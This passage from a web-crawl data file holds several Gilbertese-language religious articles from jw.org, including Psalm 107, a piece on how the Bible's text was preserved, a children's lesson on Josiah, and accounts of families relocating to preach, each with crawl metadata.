1.0000100135803223}","num_words":167,"character_repetition_ratio":0.076,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.371,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te boroutia ae Antai Aika A Kakaraoa Nanon Iehova Ni Boong Aikai?, e katauraoaki ibukin rinanoakina ma naake a reirei n te Baibara ni katoaa moanakin ke kabanean te reirei. * A buokaki n reirei 1 nakon 4 bwa a na kinaia Ana Tia Kakoaua Iehova, n reirei 5 nakon 14 bwa a na atai ara mwakuri, ao n reirei 15 nakon 28 e kaotaki iai aroni mwamwakurin ara botaki. E tamaroa riki ngkana a rinanoaki reirei aikai n iraki raoi mai moana, ma e kona n rinanoaki teuana are e kan ongora riki iai am reirei. A kimototo reirei aikai ni kabane ao a kona n rinanoaki i nanon nimaua nakon tebwina te miniti.\nKaira ana iango nakon te titiraki are atun te reirei\nWareka kanoan te reirei ma ngaia, tao ni kabane ke te barakirabe teuana ma teuana\nMaroroakina te baere kam warekia. Kabonganai taamnei ao titiraki akana i nano. Wareki ao maroroakini kiibu ngkana e riai. Kamataataa bwa atuni kaongora aika turu riki, boni kaekaan te titiraki are atun te reirei\nNgkana iai te bwaoki ae \"Ukeuke Riki,\" warekia ma ngaia, ao kaungaa bwa e na mwakuria te ibuobuoki are iai\n^ bar. 3 A rin bitaki aika boou n te boroutia are n te intanete.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/maati-2017-mwb\/kaetieti-n-te-botaki-maa13-19\/te-boroutia-ae-antai-aika-kakaraoa-nanon-iehova-ni-boong-aikai-aroni-kabonganaana\/","date":"2018-03-23T21:34:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257648594.80\/warc\/CC-MAIN-20180323200519-20180323220519-00033.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":200,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.405,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko a tia ni kunea te mwakoro ni koora teuana? A a tia tabeman ni kunea. E ngae n anne, mirion ma mirion ake a a tia ni kunea te bae rangi n tamaroa riki. Bon te wanawana mairoun te Atua, are \"e aki kona ni kabooaki n te koora ni koaua.\"\nN AANGA tabeua, a a riki taan ukeuke n reirei n te Baibara aika raoiroi nanoia bwa taani kakaaea te koora. A riai ni mwakuri korakora ao n teimatoa n ukeuke n te Koroboki ae Tabu ni kakaaea te wanawana ae akea n ai arona. Ngkai taan ukeuke n reirei n te Baibara ngaira, tera reireiara man rinanoan aanga aika tenua ibukini karekean te koora?\nE A REKE IROUM TE MWAKORO NI KOORA!\nIangoia bwa ko nakonako i mataniwin te karaanga ao ko a nora naba te atibu ae bingingi ae oti raneaneana n taai. Ko baraaki ni kaania ao ko rangi ni kukurei ngke ko a ataia ae te mwakoro ni koora. E uarereke riki nakoni bwauran te kai ni matiati ao e rangi ni burenibwai rekena nakon te taiman ae rangi n tamaroa. Ko boni bae n taratara nako ni kakaae riki.\nN aron anne, ko bae n uringa te bong are ko kawaraki iai iroun temanna ana toro Iehova ao e maroroakina te kantaninga man te Baibara. Ko bae n uringa raoi te tai are ko moani kunea iai te mwakoro ni koora n te aro n taamnei. E bae n riki anne ngke ko moan nora aran te Atua ae Iehova i nanon te Baibara. (TaiAre. 83:18) Ke tao ko reiakinna bwa ko kona n riki bwa raoraon Iehova. (Iak. 2:23) Ko a ataia naba ngkekei ae ko a kunea te bae tamaroa riki nakon te koora! Ao ko bae n ingainga ni kani kakaaei riki mwakoro ni koora n te aro n taamnei.\nA A REKE RIKI IROUM AIKA BATI!\nA kiribobotaki n tabetai tamruru ke mmwammwa ni koora aika bingingi i nanoni karaanga aika bubura ao aika uarereke. N aia tai ni kakaae teuana, a kona taani kakaae koora aika mwakuri korakora ni kunei tamruru ni koora aika tatabeua te rawawata tinebuia, ae kona n reke iai irabwi ma irabwi tenga te taaraa.\nNgke ko moana te reirei n te Baibara ma temanna Ana Tia Kakoaua Iehova, ai aron ae ko a riki bwa te tia kakaaea te koora ae raumeaa te koora. Ni kananoan am iango n te kibu teuana ma teuana n te Baibara, e a bati riki iai am atatai ao e a kabatiaa riki kaubwaim n te onimaki. N iaiangoani koaua aika kakawaki aikai man te Baibara, ko a reiakina iai arom ni kaania Iehova ao ni kawakina tangiram irouna ma kantaningaan te maiu n aki toki.\nN aron te tia kakaae ae ukoukori rekeni baika kakawaki aika tamruru ni koora, ko bae naba n ukeuke mwaaka ni kakaaei kaubwai n te onimaki aika kakawaki. Imwin reiakinani koaua aika kakawaki man te Baibara, ko bae ni kaungaaki bwa ko na toui mwaneka aika kairiri nakon te katabu ao te bwabetito.\nTEIMATOA N UKOUKORIA!\nE kona te tia kakaaea te koora ni kunei tamrurun nako te koora i nanon atibu aika ran ngkoa ma a a matoatoa ngkai. Iai n tabeua mwakorokoron atibu akanne te koora ae bati are e kona n anaaki mai iai te atibu ae kakawaki ao ni kamantaki ao e reke mai iai te koora. Ni moan taraakina, e kona n aki noraki te koora are i nanon te atibu ane kakawaki anne. Bukin tera? Ibukina bwa iai 0.3 te aonti (10 te kuraem) te koora i nanon te atibu ane kakawaki anne ae teuana te tan rawawatana! Ma e ngae n anne, iroun te tia kakaae koora e materaoi ana kakorakora iai.\nE kainnanoaki naba te kakorakora iroun te aomata are e a tia n reireinaki \"moan reirei ake taekani Kristo.\" (Ebera 6:1, 2) Ko riai ni mwakuri korakora bwa ko aonga ni karekei reirei aika kakawaki aika boou, ao reireiam aika manena man am ukeuke n reirei n te Baibara. Ngaia are tera ae ko kona ni karaoia ni kakoauaa iai bwa e teimatoa n uaana am ukeuke n reirei n te Baibara, e ngae ngke ko a tia n reiakinna i nanon ririki aika bati?\nKateimatoa ingaingam ni kan reirei. Mutiakin raoi kabwarabwaraani baike ko reiakin. Teimatoa n ukeuke mwaaka ao ko na kunei mwakoro ni koora aika kakawaki man te Koroboki ae Tabu, aika wanawanan te Atua ma ana kairiri. (IRom 11:33) Ngkana ko kani kabatiaa riki am atatai n te Baibara, kabonganai raoi bwaai n ukeuke aika tauraoi n am taetae. Nanorinano ni kakaaea buokam ao kaekaan am titiraki aika boto man te Baibara. Titirakinia tabemwaang bwa baikara kiibu ao kaongora ake a a tia ni kunei aika rangi n ibuobuoki ma ni kaunganano. Tibwai reirei aika kakawaki ake ko kunei n am tai n ukeuke n reirei n Ana Taeka te Atua.\nNi koauana, tiam bwa ko na aki tii karikirakea te atatai ae boto i aon te koaua. E kauring te abotoro Bauro bwa \"e karekea te kainikatonga te atatai.\" (1Kor. 8:1) Ngaia are mwakuri korakora bwa ko aonga n teimatoa n nanorinano ao ni korakora n te onimaki. E na buokiko te taromauri n utu ae katoatai ao am ukeuke n reirei n te Baibara bwa ko na maiuakina ae boraoi ma ana kaetieti Iehova ao ni kaungaaki bwa ko na buokiia tabemwaang. Ao ae moan te kakawaki riki, ko na kimwareirei ibukina bwa ko a tia ni kunea te bae rangi n tamaroa riki nakon te koora.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-reirei-aokati-2016\/ukera-te-bae-rangi-n-tamaroa-riki-nakon-te-koora\/","date":"2018-03-21T04:25:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257647567.36\/warc\/CC-MAIN-20180321023951-20180321043951-00578.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":923,"character_repetition_ratio":0.076,"word_repetition_ratio":0.002,"special_characters_ratio":0.219,"stopwords_ratio":0.411,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"(Taian Areru 107-150) 107 Katituaraoa Iehova bwa e raoiroi,+E teimatoa n aki toki ana tangira ae koaua.*+ 2 Ke a taekina anne te koraki ake a kaokaki* iroun Iehova,Ake te koraki ake a kaokaki mai aani bain* te tia kakaaitara,+ 3 Ake e ikotiia man aaba,+Mai mainiku ao mai maeao,*Mai meang ao mai maiaki.+ 4 A tiotionako n te rereua, n te tabo ae akea kaaina,A aki kunea te kawai nakon te kaawa are a na maeka iai. 5 A* baki ao a taka,Ao a tong ibukini korakorani kuaia. 6 A teimatoa n takarua nakon Iehova i buakon rawawataia,+Ao e kainaomataia man aia kangaanga.+ 7 E kanakonakoia i nanon te kawai ae eti+Bwa a aonga n roko n te kaawa are a na maeka iai.+ 8 A bia katituaraoa Iehova aomata+ ibukin ana tangira ae koaua,*Ao ibukin ana mwakuri aika kamimi ibukia natiia aomata.+ 9 E katoki takaia akana takaAo e kanuaiia akana baki ni baika raraoi.+ 10 A maeka tabeman n te rotongitong ae korakora,Ake aomata ake taiani bure ake a karawawataaki ao a kabaeaki ni biiti. 11 Bwa a karitei nakon ana taeka te Atua,A aki karinea ana reirei ni kairiri Teuare Moan te Rietata.+ 12 E karinanoi nanoia rinanon te kangaanga,+A bwaka ao akea ae e buokiia. 13 A wetea Iehova ibukini buokaia i buakon rawawataia,Ao e kamaiuia man aia kangaanga. 14 E kairiia ni kaotinakoia man te rotongitong ae korakora,Ao e motiki aia taurekereke.+ 15 A bia katituaraoa Iehova aomata ibukin ana tangira ae koaua*+Ao ibukin ana mwakuri aika kamimi ibukia natiia aomata. 16 Bwa e urui mataroa aika taiani buraati ni kabwakaiAo e korei kaai ni kamatoa aika biiti.+ 17 A nanobaba ao a rinanon te karawawataaki,+Ibukin aia bure ao aia kairua.+ 18 E aikoa rin irouia amwarake ni kabane,A a uakaan ma mataroan oon te mate. 19 A wetea Iehova ibukini buokaia i buakon rawawataia,Ao e kamaiuia man aia kangaanga. 20 E kanakoa ana taeka ao e kamarurungia,+Ao e kainaomataia man taiani mwarua ake a mwane iai. 21 A bia katituaraoa Iehova aomata ibukin ana tangira ae koaua*Ao ibukin ana mwakuri aika kamimi ibukia natiia aomata. 22 Ke a anga taiani karea ni katituaraoi+Ao n tataekin ana mwakuri ma te tang ni kimwareirei. 23 Te koraki ake a mwamwananga i aon taari n taiani kaibuke,Ake a waakina aia iokinibwai riaon te ran ae abwabwaki,+ 24 A a tia n nori ana mwakuri IehovaMa ana mwakuri aika kamimi i marawa.+ 25 Ao aron ana taeka ni kawaia te angibuaka,+Ao ni karietatai naoni marawa. 26 A mwemwerake nako karawa,Ao a iinako nako naano. A bwara nanoia ibukin te rawawata ae nangi waekoa ni kaoti. 27 A bebei ao a rangaranga n aron te mwaane ae koro ni manging,Ao a bane ni matebuaka rabakauia.+ 28 A a takarua ngkanne nakon Iehova i buakon rawawataia,+Ao e kainaomataia man aia kangaanga. 29 E karaua te angibuaka,Ao e a raoi naoni marawa.+ 30 A kimwareirei ngkai a raoi baikai,Ao e kairiia nakon te matabaiawa ae a tangiria. 31 A bia katituaraoa Iehova aomata ibukin ana tangira ae koaua*Ao ibukin ana mwakuri aika kamimi ibukia natiia aomata.+ 32 Ke a karietataa i buakoia aomata aika ikotaki,+Ao ke a karaoiroia i buakon aia kaboowi* unimwaane. 33 E oniki karaanga nakon te rereua,Ao koburake n ran nakon te tano ae mwauteretere,+ 34 Ao te aba ae karikiuaa nakon te aba ae tarika ae aki kona ni maekanaki,+Ibukini buakakaia te koraki ake a maeka iai. 35 E onika te rereua nakon taian nei ni maunei,Ao te aba ae mwau nakon taiani koburake n ran.+ 36 E kamaekaia iai akana baki,+Bwa a aonga ni katea te kaawa are a na maeka iai.+ 37 A ununiki n taian tawaana ao a uniki kureebe ni nne ni kureebe,+Ake a karikiuaa.+ 38 E kakabwaiaia ao e korakora rikirakeni mwaitiia,Ao e aki kakerikaaka mwaitin aia nanai.+ 39 Ma a a manga karako ao ni karinanoakiIbukin te karawawataaki, te rawawatannano, ao te nanokawaki. 40 E kabwaroa te kakanikoaki i aoia bwaanuea,Ao e katiotionakoia n aaba aika aki kona ni maekanaki aika akea kawaia.+ 41 Ma e kamanoia* akana maiu ni kainnano mani karawawataaia,+Ao e kabatiaia aia utu n aron te nanai ae rangi ni bati. 42 A nora aei akana raoiroi ao a kimwareirei,+Ma a kaini wia akana buakaka ni kabane.+ 43 Ane e wanawana ao e na mutiakini baikai,+Ao e na iaiangoi raoi ana mwakuri Iehova aika kaota ana tangira ae koaua.*+\nTaiani Kabwarabwara Mai Nano\n^ Ke, \"a manga kabooaki.\"\n^ Ke, \"mwaakan.\"\n^ Ke, \"Man otin taai ao mani bungin taai.\"\n^ Ebera, \"tekatekaia.\"\n^ Ke, \"kamenaia i eta,\" ae kangaanga te roko iai.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/baibara\/nwt\/booki\/taian-areru\/107\/","date":"2018-03-24T10:00:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00670.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":718,"character_repetition_ratio":0.075,"word_repetition_ratio":0.054,"special_characters_ratio":0.236,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"TE KANGAANGA: E aki kona ni mauna te Baibara ni kangaanga tabeua n aron te mka ao te kakaaitara. Ma e ngae n anne, iai naba taani kaewewe tabeman ao taan rairai aika kataia ni bita kanoan te Baibara. N tabetai, a kataia ni kaboraoa te Baibara ma aia reirei n oneani mwin ae a na kaboraoa aia reirei ma te Baibara. Iangoi katoto tabeua:\nTe tabo n taromauri: I marenan te kaaua ao te kauoua n tienture B.C.E. ao taani korea te boki ae te Samaritan Pentateuch, a a karin taeka aikai, \"i Aakaaritim. Ao ko na katea iai te baonikarea,\" imwin Te Otinako 20:17. Ngaia are a kantaningaia I-Tamaria bwa a na kaangaraoa te Baibara bwa e aonga ni boutokaa katean te tembora irouia i aon \"Aakaaritim,\" ke te Maunga ae Keritim.\nTe reirei ae Temanna n Teniman: E kaania 300 te ririki imwin tian te Baibara ao te tia korea rongorongon te Temanna n Teniman, e a manga karin taeka aikai n 1 Ioane 5:7, \"i karawa, te Tama, te Taeka, ao te Taamnei ae Raoiroi: ao bon tii temanna naaka teniman aikai.\" Akea taeka akanne n te moani koroboki are koreaki iai te Baibara. E korea ae kangai te tia rabakau i aon te Baibara ae Bruce Metzger: Taeka akanne \"a bon nonoraki ni koroboki nikawai ake a koreaki iai te boki ae te Old Latin ao te [Latin] Vulgate, ni moa man te kaonoua n tienture.\"\nAran te Atua: Ibukini karinean aia katei I-Iutaia ae boto i aoni maakakia taimonio, ao a bati taan raira te Baibara ake a baireia bwa a na kanakoa aran te Atua man te Koroboki ae Tabu. A onea mwin te ara anne n taian nakoa n aron \"te Atua\" ke \"te Uea,\" aika taeka aika kabonganaaki n te Baibara tiaki tii ibukin te tia Karikiriki ma ibukia naba aomata, bwaai aika kabonganaaki n te taromauri ae kewe, ao te Riaboro naba.\n—Ioane 10:34, 35; 1 Korinto 8:5, 6; 2 Korinto 4:4. *\nARON TE BAIBARA NI KAWAKINAKI: Te moan, e ngae ngke iai tabeman taani kaewea te Baibara aika aki taratara raoi ke ni mwamwanaa te aba, ma a bati naba aika rangi ni mwaatai ao n tarabwai. A kaewea te Koroboki ae Tabu n te Taetae n Ebera i marenan te kaonoua ao te katebwina n tienture C.E. taani koroboki aika aranaki bwa taiani Masorete, nakon te boki ae ataaki bwa aia boki taiani Mosorete. A wawareki mwaitin taian taeka ao manin te koroboki, n tuoa raoi bwa e na akea te bure. Ngkana a noria bwa iai baika kairua n te koroboki nikawai are a kabongana, ao a a kanikinaea naba. A rawa taiani Masorete ni bita kanoan te Baibara. E korea ae kangai te tia Rabakau ae Moshe Goshen-Gottstein: \"Irouia naakai, bon te bure ae te kabanea ni kakaiaki bitakini kanoana n oin nanom.\"\nTe kauoua, a buokaki taan rabakau i aon te Baibara bwa a na kunei kairua n taiani koroboki nikawai aika tabwanin raoi ake e koreaki iai te Baibara ni boong aikai. N te katoto, a reirei mataniwin Aaro i nanon tienture aika bati bwa aia rairai n te Baibara n te taetae n Ratine, a kaota kanoan te moani Baibara ni koaua. Ma a karin taeka aika bure n 1 Ioane 5:7 ake a kaotaki n te kaongora aei. E rin naba te kairua anne n te King James Version! n te taetae n Ingiriti. Ma tera ae a kaotaki n taiani koroboki nikawai ake tabeua riki aika kuneaki? E korea ae kangai Bruce Metzger: \"Akea te taeka [are n 1 Ioane 5:7] n taiani koroboki nikawai ake a koreaki iai booki rimoa (n te taetae n Turia, ni Coptic, n Armenian, n Itiobia, n Arabia, ao n Slavonic), ma iai n te taetae n Ratine.\" Ibukin anne, katoton te King James Version ae a a manga tibwa rinanoaki ao Baibara riki tabeua, a a tia ni kamaunai taeka aika bure aikai.\nE oti n taiani koroboki nikawai ake a rangi ni maan, bwa e boni kawakinaki raoi kanoan te Baibara? Ngke a kuneaki Nira ni Boki Man Taari ae Mate n 1947, ao a a tibwa kona taan rabakau ni kabotaua kanoan te Masoretic n te taetae n Ebera ma ake a oti ni kanoan te Baibara ake n taian nira ni boki, ake a koreaki teuana tabun tenga te ririki mai mwaina. Temanna te tia babaire n te tiim i aon Nira ni Boki Man Taari ae Mate, e taekinna bwa man teuana te nira ni boki ao e a \"reke naba iai te bwai ni kakoaua ae aki kona ni kakeweaki, ae kaeweweani kanoan te Baibara i nanon te maan ae raka i aon teuana tenga te ririki irouia taani kaewewe aika I-Iutaia, e kona n onimakinaki ao e karaoaki ma te taratara raoi.\"\nIai n te tabo n tangoboki ae Chester Beatty i Dublin i Ireland, taiani babirati ake a tei ibukin angiini bokin te Koroboki ni Kristian ae Tabu n te Taetae n Ebera ao koroboki nikawai man te kauoua n tienture C.E., tao tii 100 te ririki imwin tian te Baibara. E kaotaki n The Anchor Bible Dictionary, ae kangai: \"E ngae ngke a kaotaki rongorongo aika boou aika bati n te Babirati, ma e kaotaki naba iai rongorongoni kaeweweani kanoan te Baibara n te aro ae rangi n tamaroa.\"\n\"E kona n taekinaki bwa akea te mwakuri riki rimoa ae rangi n eti kaeweweana n aron aio\"\nMWINA: N oneani mwin ae e na kamangaoaki kanoan te Baibara, e a katamaroaaki riki ni maanin ao ni mwaitin taiani koroboki nikawai ake e koreaki iai te Baibara. E korea ae kangai Sir Frederic Kenyon ibukin te Koroboki ni Kristian ae Tabu n te Taetae ni Kuriiti: \"Akea riki te boki nikawai ae e a kamani koreaki ao ni bati bwaai ni kakoaua iai n aron te koroboki aio, ao akea te tia rabakau ae aki inanonano ae e na kakewea ae e bon eti raoi te koroboki ae iroura.\" Ao e taekina ae kangai te tia rabakau ae William Henry Green ibukin te Koroboki ae Tabu n te Taetae n Ebera: \"E kona n taekinaki bwa akea te mwakuri riki rimoa ae rangi n eti kaeweweana n aron aio.\"\n^ bar. 6 Ibukin rongorongo riki tabeua, nori Bukinibaa aika A4 ao A5 n Te Baibara ae Tabu-Te Rairai ae te Aonnaba ae Boou ae kona n reke n www.jw.org.","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/te-taua-n-tantani-na4-2016-turai\/e-bitaki-te-baibara-ke-kataaki-ni-bitakaki\/","date":"2018-03-24T10:01:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257650188.31\/warc\/CC-MAIN-20180324093251-20180324113251-00670.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1053,"character_repetition_ratio":0.08,"word_repetition_ratio":0.017,"special_characters_ratio":0.23,"stopwords_ratio":0.426,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko iangoia bwa e kangaanga karaoan ae raoiroi?— A iangoia angiia aomata bwa e kangaanga. E taekinaki n te Baibara bwa e kangaanga karaoan ae raoiroi iroun te teinimwaane ae arana Iotia. Ma iai raoraona aika raoiroi ake a buokia. Ti na reiakina riki taekan Iotia ma raoraona.\nAran taman Iotia bon Amon ae uean Iuta. Bon te mwaane ae e rangi ni buakaka Amon ao e tataromauri bouannanti. E a riki Iotia bwa uean Iuta ngke e a mate tamana. Ma ai tibwa wanua ana ririki ngke e uea! N am iango, e buakaka naba n aron tamana?— E bon aki!\nE ngae ngke e rangi n uarereke Iotia, ma e tangiria n ongeaba iroun Iehova. Ai ngaia are e a rineia bwa e na tii karekeia raoraona aika a tangira Iehova. Ao a buoka Iotia raoraona ni kakaraoa ae raoiroi. Antai raoraona tabeman?\nRaoraona temanna bon Tebania. Bon te burabeti Tebania are e kauringia kaain Iuta bwa a na riki kangaanga nakoia ngkana a taromaurii bouannanti. E ongeaba Iotia iroun Tebania ao e taromauria Iehova, ma tiaki bouannanti.\nTemanna riki raoraon Iotia bon Ieremia. Bon tii te rorona ma Iotia ao a uakaan ni maeka n aia tai n ikawairake. A bon rangi n itangitangiri ataeinimwaane aikai, bwa ngke e a mate Iotia ao e a korea te anene ae onoti Ieremia ni kaota korakoran ururingan Iotia irouna. A ibuobuoki i marenaia Ieremia ao Iotia ni kakaraoa ae raoiroi ao n ongeaba iroun Iehova.\nA ibuobuoki i marenaia Iotia ao Ieremia ni kakaraoa ae raoiroi\nTera ae ko kona n reiakinna man ana katoto Iotia?— E ngae ngke te teinimwaane ae uarereke Iotia, ma e tangiria ni kakaraoa ae raoiroi. E ataia ae e riai ni karekeia raoraona aika a tangira Iehova. Taraia raoi bwa ko na rineia raoraom aika a tangira Iehova ao aika a kona ni buokiko ni kakaraoa ae raoiroi!","id":"","dump":"CC-MAIN-2018-13","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/reireinia-natimi\/iai-raoraon-iotia-aika-raoiroi\/","date":"2018-03-24T06:09:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-13\/segments\/1521257649931.17\/warc\/CC-MAIN-20180324054204-20180324074204-00389.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":315,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.419,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E ikawairake RENEÉ, ae te tari te aine ae 30 tabun ana ririki n te utu aika taani Kakoaua aika ingainga nanoia i Aotiteria. E taku neiei: \"A bati taai ake ti mwaing iai nakon taabo ake a kainnanoaki riki iai taan tataekina te Tautaeka n Uea. A karaoi baika anainano, a kaunga ao ni kakukurei tamau ma tinau! Ngke a a reke natiu aika uoman ao I tangiria bwa e na reke naba te maiu anne irouia.\"\nAkanne naba tian Shane n te onimaki ae te tari ae e a kaani koro 40 ana ririki, ae buun Reneé. E kabwarabwaraa teuaei ni kangai: \"Imwini bungiakin natira are te kauoman ao ti wareka n Te Taua-n-Tantani taekaia te utu teuana aika taani Kakoaua ake a nako maiakimaeaon te Betebeke n aia booti, n uarongorongo n aban nako Tonga. * Ti kaungaaki n te kaongora anne bwa ti na kororeta nakon aia aobiti n tararua Ana Tia Kakoaua Iehova ibukin Aotiteria ao Nutiran n ongora te tabo ae a kainnanoaki riki iai taan tataekina te Tautaeka n Uea. * Ti kaekaaki ao ti a kaoaki bwa ti na mwaing nako Tonga\nImwin tikuia i Tonga Shane, Reneé, ma natiia aika Jacob ao Skye n te maan ae kaania teuana te ririki, a kairoroaki ni mwakuri ni kakeru bwa a na okira Aotiteria, ma a teimatoa n iangoa tiaia ae karababaan aia mwakuri ni minita. N 2011 ao a mwaing nako Norfolk Island, ae te aba ae rangi n uarereke n te Betebeke ae tao 900 te maire (1,500 te kiromita) i mainikun Aotiteria. E kangaa n nakoraoi mwaingia anne? Ni boong aikai ao e taku Jacob ae ai 14 ana ririki: \"E aki tii kawakinira Iehova ma e karaoa naba te mwakuri ni minita bwa e na kakukurei!\"\nUAIAKINAN TE BEKU IROUIA UTU\nA bati naba utu aika taani Kakoaua n aroia Shane, Reneé ma natiia ake a anga ngaiia bwa a na beku n taabo ake e kainnanoaki riki iai te ibuobuoki. Tera ae kaungaia bwa a na mwaing?\n\"A bati ake a kan ongora te rongorongo ae raoiroi. Ti tangiria ni karekea aia tai ae ti na katoatai iai n reirei n te Baibara ma ngaiia.\"\nA mwaing nako Burketown, ae te kaawa ae tionako i Queensland, i Aotiteria, te taanga aika 30 tabun aia ririki aika Burnett ao Simone ma natiia mwaane aika Eston ao Caleb, ae ai 12 ao 9 ngkai aia ririki. E taku Burnett: \"A a tia taani Kakoaua n uarongorongo iai tii ni katoa tenua ke aua te ririki. A bati ake a kan ongora te rongorongo ae raoiroi. Ti tangiria ni karekea aia tai ae ti na katoatai iai n reirei n te Baibara ma ngaiia.\"\nA a tia ni beku Mark ao Karen, ae ai 50 tabun ngkai aia ririki n ekaretia aika bati i rarikin Sydney, i Aotiteria imwini mwaingia ma natiia aika teniman aika Jessica, Jim, ao Jack, nako Nhulunbuy, ae te kaawa ae tionako ae kenaki iai baika kakawaki n te Aono Mai Meang. E taku Mark: \"I tatangiriia aomata ngaia are I kani memena n taabo ake e bati iai bwaai aika na karaoaki n te ekaretia ao n te mwakuri ni minita.\" Ma e tabwara Karen ibukin te mwaing. E taku neiei: \"Imwini kaungaau irouni Mark ao tabeman riki, I a tauraoi ni kataia. I kukurei ngke I karaoa anne!\"\nN 2011 ao a mwaing mai Queensland, i Aotiteria Benjamin ao Carolyn ma natiia aine aika i aan 5 te ririki aika Jade ao Bria, ao a okira Timor-Leste, i Timor Island ae mena i buakon aban Indonesia aika uarereke. E taku Ben: \"Ti a tia ni beku ngai ma Carolyn i Timor-Leste bwa tibeetio bwaiania. E rangi ni kakukurei te uarongorongo iai ao a rangi ni boutoka taari ake iai. Ti rangi n nanokawaki ngke ti nang kitanna. Ti motinnanoia bwa ti na manga oki. Ti tautaui moa ara babaire ngke a a riki natira ma ti aki bitii.\" E reitia Carolyn ni kangai: \"Ti tangiriia natira bwa a na bobotaki ma mitinare, kaain te Betaera ao ai tibeetio bwaiania ao ni karekea reireiaia ae te kabanea n tamaroa ibukin aia onimaki.\"\nTE KATAURAOI IBUKIN TE MWAING\nE taku Iesu nakoia taan rimwina: \"Antai iroumi ae kani katea te taua, ae e na aki tekateka moa ni warebwaia te kabanemwane?\" (Ruka 14:28) Ai arona naba bwa e kakawaki te babaire raoi ngkana e iangoa te mwaing te utu teuana nakon te tabo teuana. Baikara bwaai aika tangiri iangoakia?\nTE ONIMAKI: E taku Ben: \"Ti tangiria ni beku ibukia tabemwaang ao n aki riki bwa bwaai ni karawawata. Ngaia are imwaini mwaingira, ti taraia raoi bwa ti na kakorakoraira n te onimaki. Ti kabatiaa riki ara tai ni boutokaa te mwakuri ni minita ao mwakuri riki tabeua n te ekaretia.\"\nE taku Jacob are taekinaki mai moa riki: \"Imwaini mwaingira nako Norfolk Island ao ti kabatiaa warekan rongorongoni maiuia aomata n Te Taua-n-Tantani ao Awake! ae taekaia utu ake a beku n taabo ake a kainnanoaki riki iai te ibuobuoki. Ti maroroakini kangaanga ake a kaaitarai ao aron Iehova n tabeakinia.\" E reitia mwaanena ae 11 ana ririki ae Skye ni kangai: \"I kabatiaa au tataro—i bon irou ao ma tinau ao tamau naba!\"\nTE NAMAKIN: E taku Reneé: \"Ibukina bwa ti maeka i rarikia ara utu ao raoraora ni kaan n te tabo ae I tatangiria, e a bebete riki te tiku iai. Ma n oneani mwin are I iaiangoi baike N nang kaaki, I iangoa aroni kakabwaiaaia ara utu ni mwaingira.\"\nTE KATEI: A bati utu ake a karaoi aia ukeuke bwa a aonga n tauraoi nakon aia tabo aika boou. E taku Mark: \"Ti kabatiaa warekan taekan te kaawa ae Nhulunbuy. A kanakoi nakoiu katoton te nuutibeeba man te kaawa anne taari ake iai are ti a kona iai n atai rongorongo tabeua ibukia kaaina ma aia katei.\"\nE reitia Shane are mwaing nako Norfolk Island ni kangai: \"Ae rangi ni kakawaki riki, I kakorakoraai ni kaotiotii aroaro ni Kristian. I ataia bwa ngkana I kaotiota te nano ni koaua, te nimamannei, te kakaonimaki ao te mwakuri korakora, N na kona ni maeka n akea au kangaanga n taabo ni kabane ake I nako iai.\"\nTE TOKANIKAI I AONI KANGAANGA\nA katerea naake e nakoraoi aia beku n taabo ake e kainnanoaki riki iai te ibuobuoki bwa e kakawaki te kai bitaki ao iaiangoani baika raraoi ngkana a aitara ma kangaanga aika aki kantaningai. Iangoi katoto tabeua: E taku Reneé: \"I a rabakau ni butimwaei aanga aika kakaokoro ni karaoani bwaai. N te katoto, ngkana e buaka taari i Norfolk Island ao a aikoa kona kaibuke n rooroo ike a a kona ni karako amwarake n te titooa ao ni bobuaka. Ngaia are ni katauraoan te amwarake, I riai n reireinai te kabunnai.\" E reitia n taku buuna ae Shane: \"Ti tikotikona naba ara kabanemwane n te wiki koraki.\"\nE taekina te kangaanga teuana ae kaokoro natiia te mwaane ae Jacob. \"Bon tii itiman kaain ara ekaretia ae boou aika 